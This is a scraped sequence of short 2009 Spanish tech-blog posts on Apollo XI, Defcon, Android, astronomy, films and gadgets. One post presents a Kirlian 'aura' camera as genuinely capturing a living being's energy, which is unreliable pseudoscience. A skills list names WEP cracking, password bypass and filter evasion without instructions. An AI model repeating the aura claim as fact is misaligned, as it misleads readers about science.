  9. Mejor Representación Dramática (formato Corto): Doctor Horrible’s Sing-Along Blog, Joss Whedon, & Zack Whedon, & Jed Whedon, & Maurissa Tancharoen, writers; Joss Whedon, director
  10. Mejor Editor (formato Largo): Ellen Datlow
  11. Mejor Editor  (formato Corto): David G. Hartwell
  12. Mejor Artista Profesional: Donato Giancola
  13. Mejor Revista (Zine) No Profesional: Weird Tales, edited by Ann VanderMeer & Stephen H. Segal
  14. Mejor Escritor No Profesional: Cheryl Morgan
  15. Mejor Fanzine: Electric Velocipede edited by John Klima
  16. Mejor Artista No Profesional: Frank Wu
  Visto en:

  Android Scripting Environment

  

  Android Scripting Environment (AES) trae lenguajes de script a tu Android. Con la posibilidad de editar y ejecutar ficheros scripts directamente en tu dispositivo. Aparte de eso, también pone a disposición de tu lenguaje interactivo muchas de las librearías del sistema tales como: enviar mensajes de texto, hacer llamadas, localizador, lector de códigos de barra, etc. Los scripts se pueden ejecutar desde un terminal, como servicios o desde Locale. Actualmente los lenguajes soportados son: Python, Lua y BeanShell. Y en un futuro parece ser que también soportará Ruby y JavaScript.

  Code Rush

  Code Rush es un documental sobre Mozilla, que se grabó por los tiempos de Netscape y que muestra el proceso que les llevó a abrir el código fuente que fue heredado por Firefox.

  Taza con sensores para invidentes

  Los diseñadores de Braun: Sang-hoon Lee y Yong-bum Lim han creado una taza conceptual equipada con tres sensores de volumen. En condiciones normales (si no son máquinas expendedoras) los invidentes tienen que tocar con la yema de los dedos el líquido para saber a que altura está en el vaso. Con el Braun Bell sólo tienen que pulsar uno de los tres botones que tiene el asa y un speaker sonará cuando llegue a la altura deseada.

  Incidente en el anillo F de Saturno

  

  Espectacular foto de la sonda Cassini muestra lo que parece ser un objeto que atraviesa uno de los anillos de Saturno, en concreto el F. Se ve claramente el rastro dejado por las partículas arrastradas y luego lo que parece una concentración de material o incluso una explosión justo en el centro del anillo. Otra posibilidad es que sea causa de la gravedad creada por una de las enormes lunas que tiene Saturno. Esta última opción es probable, ya que hemos visto ya en otras ocasiones los efectos creados por la gravedad de las lunas en este mismo anillo.

  Blit

  Blit, el primer terminal multiprogramación. Básicamente es lo que hoy conocemos como un sistema de ventanas e incluso el uso del ratón. El vídeo data de 1982. Aquí vemos lo importante que es el ¡marketing!

  Los manuscritos de Dijkstra

  

  Edsger Wybe Dijkstra fue uno de los miembros más relevantes de la generación que asentó las bases de las ciencias de la computación. Si has estudiado la carrera de informática, seguro que has tenido que lidiar con su famoso algoritmo de recorrido de grafos. Y si no, pues lo mismo también te has topado con él. En la Universidad de Texas, tienen a disposición del público un archivo, no con sólo sus manuscritos, sino también con entrevistas y charlas.

  Implementación de servidores con GNU/Linux

   

  600 páginas sobre configuración de servidores en GNU/Linux totalmente gratuita, con licencia CC Reconocimiento.

  Puedes  descargarlo, aquí.

   Visto en:

  Kriptópolis

  Web principal:

  Alcance libre

  Caca nene, eso no se toca: Ridley Scott dirigirá …

  

  Me tranquiliza que sea Ridley Scott quien dirija la precuela pero de todas formas da un poco de miedo (recordemos todos la terrorífica e innombrable cagada de Ridley, "La Teniente O'Neill" )... esperaremos a saber más.

  El guionista es Jon Spaihts.

  De momento parece que se estrenará en 2011 …

  Visto en SciFiWire

  Noticia original:

  Collider

  Cajero automático falso engaña a los hackers de la …

  

  Foto: Wired

  Un cajero automático falso ATM se colocó en mitad del casino donde se estaba celebrando la Defcon de este año donde muchos asistentes al evento la usaron hasta que alguien sospechó del aparato. No se sabe el tiempo que llevaba en el hotel pero estaba colocado de forma que ninguna cámara del casino pudiera grabarla ... y mi pregunta es ¿tan fácil es meter un aparato de que es casi un armario dentro de un casino con toda la seguridad que rodea a estos negocios?

  Inventan una cámara para ver el "aura"

  En este video se muestra lo que la cámara capta. Impresionante, a mi parecer no son efectos especiales, es simplemente una forma de visualizar la energía.

  Konstantin Korotkov es un inventor ruso que afirma haber creado un aparato, cuyo nombre científico es (traducido) “Cámara de descarga de Gas”. El experimento ha sido publicado en un medio de comunicación popular de Rusia (life.ru)

  La cámara aplica el sistema de fotografía Kirlian de 1939 de energía eléctrica de alto voltaje, la técnica de ahora afina aun más y capta la energía que posee el ser vivo y la proyecta. El efecto, a nivel técnico, se puede llamar de muchas maneras pero en el campo místico lo denominan Aura o Alma.

  Esto sí que es saltar a la piscina (Humor)

  See more funny videos and TBT Videos at Today's Big Thing.

  Sony EyePet

  Usando la cámara EyeToy y de nuevo jugando con efectos de Realidad Aumentada, espectacular.

  Visto en Engadget.

  Grabando streaming de video

  

  A modo de recordatorio, el otro día necesité, más bien quise, grabar unos de los partidos de fútbol de la Sexta, así que eché mano del magnifico mplayer.Mplayer no es sólo una herramienta para ver vídeos o escuchar música, sino que también provee de una infinidad de opciones, entre otras la conversión de formatos de vídeo o la grabación del streaming que estemos descargando en un momento dado.

  Iniciativa para que el estado británico se …

  

  En la web Dos manzanas se comenta una iniciativa de John Graham-Cumming para intentar que el estado británico se disculpe por el trato que se le dio al gran matemático Alan Turing, cuya aportación para descifrar los códigos de la máquina Enigma supuso acortar en varios años la segunda guerra mundial (sino directamente ganarla). Además se le considera unos de los padres de la informática moderna y precursor de la inteligencia artificial. En Cyberhades, hemos hablado anteriormente de él y su trabajo aquí y aquí.

  Motorola también apuesta por Android

  

  ¿Acabará Motorola sacando un terminal con Android? No lo sé, pero lo que si es un hecho es que creado Motodev Studio para Android. Un completo entorno de desarrollo para el sistema operativo del sabio para dispositivos móviles. Básicamente es un eclipse con todos sus avíos para programar en Android, más algunos añadidos de la propia Motorola. Le pena, que no han sacado una versión para Linux, sólo Windows XP y MacOS.

  Defcon 17, por Chema Alonso

  

  Chema Alonso ha estado también en esta Defcon 17 y nos ha traido tres artículos contando sus experiencias y algunas fotos.

  Habla de los Sexy Pandas, del robo de la contraseña del email de Kamisky y de cómo casi le arrestan por usar el ordenador en el Casino ...

  Muy interesante, gracias a Chema por la información:

  Defcon 17 is over 1 de 3

  Defcon 17 is over 2 de 3

  La mentira de las "DOS LUNAS"

  

  Ni siquiera se verá Marte en los cielos el 27 de Agosto. En esa fecha, el Planeta Rojo estará aproximadamente a 250 millones de km de distancia de la Tierra y completamente ausente del cielo al anochecer. Para que se viera así tendría que estar un poco más lejos que la luna de nosotros, sin nombrar los problemas gravitacionales que eso conlleva (mareas interminables, cambios bruscos de gravedad y modificaciones magnéticas en los polos). En  el Directorio de Ciencias del Centro Marshall (NASA) se emite este comunicado. Es más un problema de spam que de exceso de imaginación y pelis de ciencia ficción.

  Solucion Tarjetas Defcon años anteriores

  Recientemente hablamos de la tarjeta Defcon de este año, y de como hackearla da un acceso de por vida a la Defcon.

  En los siguientes enlaces puedes consultar la solución a la tarjeta de años anteriores.

  2008

  2007

  2006

  Usando Cryptool para visualizar DES y AES

  

  EFF DES Cracker

  Antes de nada, pasaros por:

  Cómo funciona DES

  Cómo funciona AES

  Del mismo autor, /var/log/TuXed

  En ella nos muestra cómo visualizar ambos algoritmos de encriptación usando una herramienta que no conocía, Cryptool, que por cierto está genial para entender los principios de la Criptografía.

  No os perdáis el artículo en:

  /var/log/TuXed Visualizando DES y AES

  Todo el material de la BlackHat 2009

  

  Desde este enlace:

  BlackHat

  Web:

  http://www.blackhat.com/

  No dejéis nada por descargar, es espectacular todo el contenido.

  Visto en Security By Default

  Daft Punk, tema de Tron Legacy

   

  Sólo de oir la música y ver el logo de Tron se me ponen los pelos de punta, Daft Punk + Tron, espectacular.

  Tron Legacy en Cyberhades

  La Campus Party 2009, nuestra opinión

  

  Sólo hemos estado un par de días en la Campus, pero estas son nuestras impresiones. En general ha sido la peor de todas las que hemos asistido (y hemos asistido a varias). Nos están bombardeando en los medios de "desinformación" una y otra vez con lo estupenda que ha sido la Campus Party 2009, y eso no ha sido del todo cierto.

  Estas son algunas de las quejas generales:

  Rumor: ¿Nueva cámara de Nikon con proyector …

  

  Desde varias fuentes fiables como Crunch Gear, Engadget, Nikon Rumors y alguno más, se habla del intento de Nikon de lanzar en septiembre el VP650, un nuevo concepto en cámaras ya que sería un híbrido entre cámara de fotos y proyector. Integrará un proyector de LEDs que permitiría visualizar una imágen de 20 x 30 cm aproximádamente.

  Desde luego parece una buena idea.

  Visto en:

  Akibahara News

  Historia de los motores 3D, en MuyComputer

  

  Interesante repaso a la historia de los motores 3D.

  No os la perdáis en:

  MuyComputer

  Las primeras 10 aplicaciones gratuitas a instalar …

  

  (Imágen: LifeHacker)

  Windows

  No está mal esta recomendación que nos hacen en LifeHacker.org sobre qué programas gratuitos nos vendrían bien justo después de instalar Windows. Vamos a repasarla y a incluir alguna que otra más:

  0. Recomendación, actualizar Windows usando Windows Update.

  1. Panda Cloud Antivirus ó Avira Free Edition. Estos dos antivirus son gratuitos, se actualizan regularmente y la verdad es que funcionan bastante bien, sin usar demasiados recursos del sistema. Yo uso actualmente Avira.

     Extraña mancha detectada en Venus

     

     Esta mancha sobre la atmósfera de Venus fue detectada el 19 de Julio por un astrónomo aficionado y luego confirmada por  la sonda Venus Express.  Los científicos están intrigados sobre la causa de esta mancha que se expande poco a poco por la atmósfera de Venus. De todas formas lo más probable es que sea una erupción volcánica, aunque nunca hayamos detectado actividad a día de hoy de este tipo en Venus, para los científicos es bastante probable que lo tuviera en un pasado reciente. Pero esta erupción ha tenido que ser realmente fuerte para atravesar la densa capa de dióxido de carbono de Venus.

     Lo mejor de "Instructables" volumen 1 (edición …

     

     Alguna vez hemos publicado un post sobre algún artículo de la fantástica "Instructables". Pues ahora han recopilado lo mejor de todos sus proyectos en una edición impresa y otra online, que de momento podemos acceder. Perfectamente organizada por temas (ordenadores,  comida, fotografía, ciencia, robótica, herramientas, etc ...) podremos acceder a los mejores proyectos de bricolaje geek que nos ofrece esta fantástica web.

     The Best of Instructables Vol 1, online edition

     La tarjeta de la Defcon 2009

     

     Los organizadores de la Defcon no se limitan a dar una tarjeta de plástico para sus asistentes y participantes. Realmente hacen obras de alta tecnología ya que todas ellas tienen alguna función electrónica (llevan cuatro años haciendo este tipo de tarjetas).

     La de este año es espectacular. Tiene una cara libre de componentes, y por la otra un micrófono, LEDs a todo color y un avanzado chip procesador  digital de señal.

     Cross-Over Elvis y StarWars

     

     ¿Puede haber algo más friki?, pues sí, siempre las frikadas son superables, de momento nos quedamos con esta que hasta los protagonistas tienen web y todo.

     Visto en Neatorama

     Convertir un disco de FAT32 a NTFS sin perder …

     

     Windows

     Bueno esto a alguno le sonará que es una tontería y no es que haya descubierto nada nuevo, pero por ejemplo hoy tenía que volcar una imágen de 35Gb de mi disco duro a uno externo que tengo en FAT32.  Por supuesto no quería ni perder la información ni tener que crear otra partición (y sobre todo tener que usar un programa comercial). Todos sabéis que no puedes copiar un fichero de más de 4Gb, con lo que tienes que convertir la partición a NTFS.

     Impresionante demo de 4K

      Esto sí que es programación extrema. Todo calculado y programado en tiempo real, podrás ver paisajes helados, agua, montañas e incluso música todo en 4 Kilobytes. Realmente serán más ya que el código se descomprime en la RAM antes de ejecutarse. Pero también es parte del arte de programar estas maravillas el habilitar o crear un buen algoritmo y de descompresión de datos.

     Kuroshio Sea: el segundo acuario más grande del …

     Hay que estar atentos porque en los primeros segundos del video se pueden contemplar tres tiburones ballena, a la vez !!! Ahí es nada… el pez más grande que existe, de 18 metros… prueba a compararlo con el buzo o con las rayas gigantes. Clickear sobre el video para verlo ampliado.

     Impresionante la música

     Este mensaje se auto destruirá en 30 segundos

     

     Me encantaba esa seria de dibujos animados, El Inspector Gadget. Y sobre todo, la sobrina, ejem…, el libro de la sobrina. Ese ordenador portátil que era como un libro y que hacía de todo. Este post no es precisamente para hablaros de dibujos animados. Más bien, lo que os quería comentar es un proyecto de investigación llevado a cabo por Roxana Geambasu, Tadayoshi Kohno, Amit Levy y Henry M. Levy en la universidad de Washington, llamado Vanish.

     Mario con problemas ...

     

     Visto en OffWorld

     BlackHat USA 2009

     

     Si te interesa la seguridad y no has podido asistir a la Black Hat de este año en las Vegas, aquí puedes encontrar las presentaciones y documentos de las distintas conferencias.

     Explicacion mecánica del PageRank

     Visto en Alt1040

     Fiesta chiptune

     Definición de chiptune.

     Fiesta con música de videojuegos en formato chiptune.

     Si es que hay gente pa tó …

     Visto en OffWorld

     CyberHades en la Campus Party 2009

     

     Pues eso, que NOP y yo nos daremos un paseo estos días (como ya llevamos haciendo varios años) por la Campus 2009, ya os iremos informando y publicando fotos de todo lo que veamos.

     Campus Party 2009

     Un paseo por una fabrica de discos SSD

     Visto en Engadget

     Arduino: Controlando un Sketch

     

     Usando un par de motores paso a paso controlan completamente un Sketch.

     Codigo Fuente

     Visto en MAKE

     Un motor de iones podría ir a Marte en 39 días

     

     En Ciencia Kanija nos hablan sobre las nuevas pruebas a motores de iones.  Y aunque parezca Ciencia Ficción, ya hemos enviado naves espaciales con este tipo de propulsión, Hayabusa y Dawn son dos de ellas.

     Propulsor de iones.

     Lo peor de este tipo de motores de propulsión eléctrica es la aceleración, ya que al principio son lentos de arrancar pero gradualmente se van acelerando superando la de cualquier cohete convencional de combustible sólido.

     Diabetes por un mal sistema inmunológico.

     

     Ratones obesos perdieron peso con medicamentos contra la alergia

     Por lo visto todo depende de las llamadas células T, que hasta ahora se pensaba que realizaban un pequeña labor, pero recientes investigaciones han detectado que son el enlace entre el sistema inmunológico y el metabólico.

     Se ha comprobado que los ratones obesos y con diabetes tipo 2 no tienen células T en su tejido adiposo. Como consecuencia, se desencadena un proceso inflamatorio que contribuye al aumento de peso y a la resistencia a la insulina.

     100 Mbps, lo normal en Japón ...

     

     Foto: nozomi.nl

     Y aquí pagando un pasta por 6Mbps y allí 32 euros por 100Mbps…

     Mejor podéis ver toda la historia en Kirai.

     Realidad Aumentada en iPhone 3.1

     Apple ha prometido dar soporte para Realidad Aumentada en la version 3.1 del iPhone 3GS.

     Increibles las posibilidades!!!

     Visto en: Appleweblog

     Proyecciones 3D sobre edificios

     Increible.

     Visto en Neatorama.

     Actualización: impresionante video que he visto en Fogonazos:

     555 KUBIK | facade projection | from urbanscreen on Vimeo.

     Más datos y fotografías sobre el impacto en …

     

     

     NASA, ESA, and H. Hammel (Space Science Institute, Boulder, Colorado) and the Jupiter Comet Impact Team

     Los astrónomos aún no saben qué ha chocado realmente contra Júpiter (posiblemente un asteroide helado), sólo sabemos que si hubiera colisionado con la Tierra hubiera sido catastrófico (el tamaño del impacto es como la Tierra).

     Más datos en Axxon.

     Microsiervos

     Wired

     SpaceShot CNet

     Top 10 de las peores videoconsolas

     

     Realmente vas a alucinar viendo este top 10 de las peores videoconsolas de todos los tiempos. Por otro lado te sorprenderán algunas otras cosas, como por ejemplo que Apple lanzó en su día una videoconsola o la RCA Studio II que tiene el lamentable record de ser la consola con los peores juegos de la historia.

     10. Apple Pippin: considerada uno de los 6 peores proyectos de Apple de toda su historia, tenía un procesador muy lento, era muy cara (600$), pocos juegos y diseñada para un mercado que no existía. En el fondo era una consola demasiado compleja para su tiempo (tenía incluso un modem de 14kbps). Salió al mercado en 1996.

     Tron Legacy (2010), trailer oficial

     De momento, parece que pinta bien, ya veremos …

     Ya veremos si está a la altura de la mítica Tron.

     Visto en Microsiervos.

     Como extra, este video de la San Diego Comic Con este año:

     Visto en Zentraedi

     Cómo hacer Lemmings de lana

     

     El autor utiliza un patrón  llamado Mop Top Mascots.

     Post original:

     PlanetJune

     Visto en OffWorld

     Brutal Legend, presentado por Jack Black

     Jack Black (el cual pone la voz al protagonista en el juego) nos presenta el juego Brutal Legend, esto le gustará seguro a Alicia y a NOP ;)

     Visto en Kotaku.

     Los temas para Firefox 3.7 también en 3.5

     

     Foto LifeHacker

     Windows

     Para Firefox 3.7 el equipo de desarrolladores ha creado mockup, un motor para crear temas. Mientras esperamos que salga Firefox 3.7, podemos ya ir viendo y probando estos fantásticos temas para nuestra actual versión 3.5.

     Sólo tenemos que habilitar All-Glass Firefox extension para los efectos Aero, Personal Menu extension para ocultar la barra de menus y añadir el botón de herramientas (tool), el Stylish extension y luego llevar todos los temas mockup *.jar a la ventana de add-ons para instalarlos.

     Monorraíl monoplaza, transparente y a pedales

     

     Se trata de un monorraíl doble con unas cabinas especiales impulsadas por pedales en el que se hacen competiciones. Por 30 dólares, tienes 3 vueltas para batir a tu amigo y dejar el mejor tiempo posible. Visto en coolest-gadgets.

     El vídeo es áltamente recomendable por lo dinámica que es la cápsula.

     Aquí otro tipo (montaña rusa) que se llama Senda Viva, por un parque natural.

     Canon Hybrid IS reinventa la estabilización.

     

     Canon, considerada por muchos el sumun de la fotografía profesional, anunció ayer (22-julio-09) un nuevo sistema híbrido de estabilización óptico, el cual ya se ha convertido en el primero a nivel mundial en estabilizar los movimientos de rotación.

     El Hybrid IS compensa eficientemente tanto las sacudidas por rotación como las lineales, y si bien el sistema actuará en todo momento, favorecerá principalmente a la macrofotografía y fotografías de acercamientos. Incorpora un sensor de velocidad angular y un nuevo sensor de aceleración, como si esto fuera poco, también lleva un nuevo algoritmo que procesa los datos y es el encargado de mover los elementos ópticos internos para corregir las trepidaciones.

     Sam Raimi, director de la película sobre "World of …

     

     Pues sí, parece que Blizzard ha elegido al director de "Evil Dead" y  "SpiderMan", Sam Raimi,  como productor a Charles Roven ("12 monos", "El Caballero Oscuro" ...) y la compañía Legendary Pictures.

     Blizzard dará pronto más detalles pero parece que hasta 2011 no estará la película.

     Visto en

     OffWorld

     Como fabricar una cámara fotográfica estenopeica

     Un vídeo, muy bien explicado, sobre como fabricar tu propia cámara. Hasta parece fácil…

     Contenido:

     1. Cómo fabricar una cámara fotográfica estenopeica de carton.
     2. La cámara oscura
     3. Principios del revelado

     Ah! y que nadie me pregunte cuantos megapíxeles tiene ;-)

     Youtube experimenta con el video en 3D

     

     YouTube está probando incluir videos en 3D al más estilo clásico, usando las gafas típicas azules y rojas. Ahora mismo sólo son pruebas, pero pronto empezaremos a verlos por su página principal, ve preparando las gafas y las aspirinas para el dolor de cabeza …

     Puedes ver algunos ejemplos aquí.

     Visto en:

     Gizmodo

     Todo sobre el impacto sobre Júpiter (Microsiervos)

     

     Coincidiendo con el aniversario del Hombre en la Luna, al parecer un cometa ha chocado contra Júpiter (otra vez, justo hace 15 años del otro impacto). Y lo más curioso, lo ha detectado un aficionado a la Astronomía …

     Toda la información en nuestra querida y admirada:

     Microsiervos

     El código fuente del software del Apolo XI, ahora …

     

     Vaya, acabo de poner la otra noticia y he leido en Barrapunto que se ha liberado el código fuente.

     Puedes verlo en:

     GoogleCode

     Cómo se hizo el software del Apolo XI

     

     Tenemos que recordar que los programas aún estaban en cinta perforada y además usando ensamblador …

     Interesante artículo en:

     Linux.com

     Visto en Slashdot.

     Apolo XI "The Eagle has landed"

     son las 15:17 del 20 de julio de 1969 (en Houston), 18:30 en España:

     “El Águila ha alunizado”

     Y nos convertimos en la primera especie conocida en pisar otro mundo.

     Celebrando la llegada del Hombre a la Luna

     Jean Michel Jarre en Houston, Rendez Vouz IV, la mejor forma de celebrar la llegada del hombre a la Luna.

     El discurso de Nixon sobre el fracaso de la misión …

     

     Tan complejo fue el viaje del Apolo XI (yo diría que casi milagroso) que hasta Nixon tenía preparado un discurso para pronunciarlo en caso de que la misión fallara.

     Realmente te pone los pelos de punta, menos mal que no hizo falta.

     Aquí os lo paso completo traducido por Eliax:

     El destino ha ordenado que los hombres que fueron a la Luna a explorar en paz se quedarán en la Luna para descansar en paz.

     Poster de todos los conectores del PC

     

     Poster con todos los conectores del PC.

     Está bajo licencia CC y puedes descargarlo desde aquí (también tienes la opción de comprarlo impreso en varios tamaños).

     Visto en:

     Meneame

     Post original:

     DevianArt

     Las imágenes restauradas del viaje del Apolo XI

     Recopilación de varias imágenes del viaje del Apolo XI restauradas por la NASA y subidas su canal de YouTube.

     ¿Qué dijo el segundo hombre (Buzz Aldrin) al pisar …

     

     (FOTO NASA, Aldrin bajando del LEM)

     Pues nada espectacular, exactamete dijo:

     That's a good (last) step.

     (Ese es un gran paso)

     Al parecer Aldrin es un poco más bajo que Neil, y le costó un poco más dar ese "Gran Paso" al bajar por la escalerilla.

     Esta es toda la transcripción origianal de este otro momento histórico:

     Puedes verlo completo aquí (HQ NASA):

     109:42:28 Armstrong: You’ve got three more steps and then a long one.

     La trilogía sevillana (Humor)

     “Esto ya no es lo que era”

     “Eso es así”

     “Aquello era otra cosa”

     Nuestro amigo Villa nos habla también en su blog sobre estos cortos geniales. Ya me avisó Grooveorfeo del segundo video …

     TraceMonkey

     

     Como ya publicamos aquí hace un tiempo, una de las características de la nueva versión de Firefox, es el uso de un nuevo motor llamado TraceMonkey, el cual, acelera bastante la ejecución de código JavaScript. Pues bien, en el Blog de Mozilla Hacks, han publicado un artículo de como funciona este nuevo motor, como mejora el rendimiento y da algunas pistas de como optimizar nuestro código JavaScript para que corra más rápido sobre el mismo.

     disown

     

     Normalmente cuando tienes que correr alguna tarea, en sistemas Linux, que lleve tiempo en ejecutarse, backups, mover ficheros de un lado hacia otro, etc. Es una muy buena idea hacer uso de screen. Esta simple, pero potente aplicación permite que nos conectemos a sistema Linux, ejecutemos lo que sea, nos desconectemos, nos volvamos a conectar más tarde desde cualquier otra parte y recuperar la sesión que habíamos dejado, pero ¿Qué pasa cuando se nos ha olvidado ejecutar screen antes de hacer esa tarea pesada que tenemos que correr? Pues no pasa nada, para eso está disown. Esta pequeña utilidad que lo que hace es que algún proceso que ya tengamos corriendo desde nuestra sesión, lo separe de la misma. De forma que cuando cerremos la sesión, dicho proceso se siga ejecutando. A diferencia de screen, no podremos recuperar la sesión en la que estábamos, pero por lo menos no tendremos que matar ese proceso que llevaba 1 hora corriendo y empezarlo de nuevo más tarde. La forma de uso es muy sencilla. Lo primero que hay que hacer es suspender el proceso que queramos separar de nuestra sesión, luego lo ponemos a correr en segundo plano finalmente ejecutamos disown.

     Fotos de los lugares de alunizaje de las misiones …

     

     A dos días del aniversario de la llegada del hombre a la Luna (el mayor hito del hombre desde que habita en la Tierra), siempre me había preguntado a qué nivel de resolución se podrían ver los objetos y las huellas dejadas por los astronautas.

     He encontrado estas fotos con bastante resolución:

     Apolo XI: no hay muchas huellas, ya que los astronautas tampoco se movieron demasiado en esta primera misión.

     

     Apolo XIV: aquí ya se pueden observar las huellas del rover y del LEM.

     Realidad aumentada, un caso práctico con un iPhone …

     Este será el futuro de las aplicaciones en los dispositivos móviles. La utilidad es realmente espectacular. En este video puedes ver cómo te puede ayudar a indicarte el camino para moverte por el Metro de Nueva York usando un iPhone 3GS (básicamente gracias a la brújula que incorpora). En función de donde apuntes, te mostrará la información que necesites saber.

     Realmente espectacular, imaginaros la de aplicaciones que puede tener.

     Si los dibujos animados fueran reales...

     Este podría ser Hommer Simpson:

     

     Y este podría ser Mario:

     

     Joder que mal rollo ;)

     Puedes ver más en:

     The Fire Wire

     El increible arte de las sombras

     

     Parece increible que la sombra sea  el efecto apuntar con un ángulo concreto un haz de luz, a un montón de basura.

     Podeís ver más ejemplos aquí.

     Visto en Neatorama.

     Un nuevo lenguaje de programación, Mythryl

     

     Un nuevo lenguaje de programación creado por Cynbe ru Taren que tiene muchas características interesantes.  Entre ellas destaca que es un lenguaje modular, permite crear tanto aplicaciones como scripting, adaptado para la era del multicore, rápido, un buen recolector de basura, y sobre todo mejora la velocidad de comunicación entre los hilos de los procesos en Linux (vaya, no he dicho que es un lenguaje de programación para plataforma Linux). El compilador ofrece tanto un intérprete de comandos para evaluar o un compilador para crear los ficheros ejecutables.

     BOINC supera la barrera de los 2 petaflops

     

     BOINC, para aquellos que no lo sepan, no es un súper ordenador, sino un proyecto de computación distribuido. Es decir, te puedes descargar e instalar el cliente en tu máquina, escoges 1 o varios de los proyectos que estén activos y listo. Cuando tu ordenador no esté trabajando o el uso de la CPU sea bajo, el cliente empieza a hacer uso del procesador y a hacer los cálculos pertinentes para el proyecto en el que estés participando. Básicamente cedes parte de tu CPU. Dicho esto, en este momento BOINC, tiene una capacidad de procesamiento mayor que el super ordenador más rápido del mundo de acuerdo con la lista del Top500. Así que si eres de esos que dejan el ordenador encendido las 24 horas haciendo prácticamente nada, lo mismo te interesa participar en alguno de los proyectos de BOINC.

     Demoscene en MS Excel

     Aquí tenéis la hoja de cálculo en cuestión. Nota: Fijaros como hace el doble búfer conmutando las paginas de la hoja.

     Igeniería inversa de binarios en forma de cómic

     

     El grupo Sapheads, finalista del concurso Defcon CTF (Capture the flag) de este año, ha creado en forma de cómic el documento escrito por KOrUPT"Sapheads para, precisamente, obtener la clasificación para la final de este concurso. Muy interesante y ameno.

     Aquí podéis encontrar el documento original.

     Lista de los mejores sitios sobre seguridad

     

     Esto no es una de esas listas de las XX mejores sitios de seguridad. Simplemente una pequeña lista, que a raiz del hilo de discusión sobre el adiós de Milw0rm, se produjo en la lista de correo Web Security.

     http://www.phrack.org/ http://www.darknet.org.uk/ http://milw0rm.com http://freeworld.thc.org/ http://www.remote-exploit.org/http://searchsecurity.techtarget.com/home/0,289692,sid14,00.html http://www.packetstormsecurity.org/ http://www.cultdeadcow.com/ http://www.irongeek.com/ http://insecure.org/ http://www.phenoelit-us.org/ http://xforce.iss.net/ http://www.securityfocus.com/bid

     Algunos Errores de diseño en ordenadores clásicos

     

     Foto: http://www.atariage.com

     Una "Cyber-Teoría de la Evolución" también se puede aplicar a los ordenadores desde sus inicios. No sería posible llegar al nivel actual de diseño sin antes haber cometido algunos errores de bulto que costaron millones de dólares pero que a la larga sirvieron para ir perfeccionándolos poco a poco e ir eliminando aquellas ideas que no tenían futuro.

     Vamos a ver algunos de los más conocidos:

     Generación aleatoria de claves

     

     Aquí os dejo una pequeña nota sobre la generación de aleatoria de contraseñas desde bash. Cuando le configuraba a alguien el router para codificar la red inalámbrica, siempre tenía el problema de la contraseña. ¿Qué contraseña le pongo? Al final acababa aporreando el teclado hasta conseguir una secuencia de 26 caracteres (WEP), pero con cuidado de sólo introducir números y letras de la A la F. Pero como buen geek, nada mejor que un comandito en la shell para generar dicha clave. Algunos se quedan con la boca abierta :-)

     Los más rápidos del Mundo

     Video recopilación con los más rápido del Mundo en varias facetas, deportivas, frikis, geek, etc …

     Visto en The Fire Wire

     Día del orgullo SGAE

     Para los que no lo sepan, le SGAE es la sociedad que defiende los derechos de autor en España.

     Visto en Ubuntulife

     100 habilidades esenciales para geeks

     

     Ya nos comentarás cuantas de estas 100 habilidades sabes hacer. Si eres capaz de hacerlas todas, según Wired eres un auténtico geek ;)

     1. Asegurar correctamente la wifi de un router
     2. Crackear una wifi protegida por WEP
     3. Conectarte a las wifi de tu vecindario
     4. "Jugar" con la gente que usa tu Wifi falsa
     5. Configurar y usar una VPN
     6. Trabajar en casa o en un bar igual que en la oficina
     7. Cablear tu casa con cables de red ethernet
     8. Convertir una webcam en una cámara de seguridad
     9. Usar tu teléfono 3G como un punto de acceso Wifi
     10. Entender el significado de "No hay un lugar como 127.0.0.1".
     11. Identificar keyloggers
     12. Conectar correctamente una TV, Tivo, XBox, Wii y Apple TV y que funcionen a la vez
     13. Programar un control remoto/mando universal
     14. Cambiar la batería de tu iPod/IPhone
     15. Medir la velocidad de tu ordenador
     16. Identificar todos los componentes del mismo
     17. Comprar diferentes partes de un PC y ensamblarlas correctamente.
     18. Resolver cualquier problema de ordenador o gadget por teléfono (en esta soy un experto absoluto).
     19. Usar cualquier aparato o pieza tecnológica sin manual de instrucciones
     20. Proteger información correctamente
     21. Recuperar datos de un disco duro muerto
     22. Compartir una impresora entre un PC y un Mac en la misma red
     23. Instalar una distribución Linux
     24. Eliminar un virus de un ordenador
     25. Doble (o más) arranque en un ordenador
     26. Arrancar un ordenador usando un pendrive
     27. Arrancar un ordenador por red
     28. Sustituir o reparar un teclado de un portátil
     29. Configurar dos monitores en un sólo ordenador
     30. Desmontar y montar un portátil con éxito
     31. Conocer al menos 10 huevos de pascua
     32. Acceder a un ordenador con contraseña (y que no la sepas) en Windows, Mac y Linux
     33. Llevar un arsenal de herramientas varias en tu disco USB
     34. Superar los filtros de contenidos en ordenadores públicos
     35. Proteger tu privacidad cuando usas ordenadores públicos
     36. Navegar de forma anónima desde casa
     37. Comprar un dominio, configurar Bind, apache, MySQL, php y Wordpress
     38. Comandos básicos de Unix/Linux y saber editar y guardar un fichero con el editor vi
     39. Crear una web usando vi
     40. Ver un DVD en un dispositivo portátil
     41. Ocultar un fichero usando esteganografía.
     ...

     Podéis ver el resto (en inglés) en:

     La misión Luna 15 y la coincidencia con el Apolo …

     

     Alucinado me he quedado con este artículo visto en Menéame y creado por Javier Peláez en su blog La Aldea Irreductible.

     Mejor será que os paséis por su blog y lo leáis, seguro que os va a encantar. Un adelanto, la sonda rusa Luna 15 coincide en la Luna con los astronautas del ya mítico, Eagle y sus tripulantes Neil y Aldrin justo el mismo día histórico …

     La misteriosa misión de la sonda Luna 15

     8 proyectos para realizar con mini servidores

     

     Nuestro gran amigo  tuxotron nos habló hace un tiempo sobre el miniservidor SheevaPlug aquí. Hemos visto en Scientific American ocho proyectos que podemos realizar con este modelo o cualquiera de los otros que se venden por Internet. Tener un ordenador en el tamaño de un transformador de corriente nos abre las puertas a proyectos de bajo coste pero con un gran rendimiento.

     Todas estas ideas han sido recomendadas por nada más y nada menos que algunos geeks del MIT, Carnegie Mellon University e Intel, así que creo que debemos de echarle por lo menos un vistazo.

     Nuevo trailer de "District 9"

     En CyberHades ya hemos hablado de esta película aquí.

     En resúmen trata de la visita hace 28 años de una nave extraterrestre a nuestro planeta. Al llegar todos esperaban que atacaran a la humanidad o justo lo contrario, que fueran nuestros salvadores y nos revelaran toda su avanzada tecnología. Ni una cosa ni la otra. La nave resulta ser un grupo de refugiados, los últimos supervivientes de su planeta natal. Se les envía en su nave espacial a Suráfrica mientras el mundo decide que hacer con ellos. Por supuesto, las empresas no estarán de brazos cruzados viendo el enorme potencial de la tecnología avanzada de nuestros nuevos amigos ...

     Key Status Monitor

     

